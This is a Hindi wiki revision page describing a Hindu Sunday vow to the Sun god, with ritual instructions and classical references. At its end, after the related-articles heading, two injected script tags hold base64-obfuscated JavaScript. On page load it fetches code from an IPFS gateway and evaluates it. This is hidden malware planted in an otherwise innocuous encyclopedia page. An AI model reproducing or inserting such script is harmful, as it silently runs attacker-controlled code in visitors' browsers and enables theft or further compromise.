व्यवस्थापन (चर्चा | योगदान) छो (Text replace - "==संबंधित लिंक==" to "==सम्बंधित लिंक==") |
व्यवस्थापन (चर्चा | योगदान) छो (Text replace - "==सम्बंधित लिंक==" to "==संबंधित लेख==") |
||
पंक्ति 13: | पंक्ति 13: | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
− | == | + | ==संबंधित लेख== |
{{पर्व और त्योहार}} | {{पर्व और त्योहार}} | ||
{{व्रत और उत्सव}} | {{व्रत और उत्सव}} |
18:34, 14 सितम्बर 2010 का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
- रविवार को पूर्वाफाल्गुनी नक्षत्र हो तो सूर्य की प्रतिमा पूजन करना चाहिए।
- इसके करने से कर्ता रोगमुक्त होता है और सूर्यलोक को प्राप्त करता है। रात्रि में अर्क के पुष्पों से सूर्य की पूजा करनी चाहिए। अर्क के पुष्पों एवं पायस को खाना, रात्रि में पृथ्वी पर सोना चाहिए।
- इसके करने से सभी पापों से मुक्ति एवं सूर्य लोक की प्राप्ति होती है। यह वारव्रत है। सूर्य देवता के लिए किया जाता है। [1]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ कृत्यकल्पतरु (व्रतखण्ड 21-21); हेमाद्रि (व्रतखण्ड 2, 525-527, भविष्योत्तरपुराण से उद्धरण); कृत्यरत्नाकर (600-601)।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>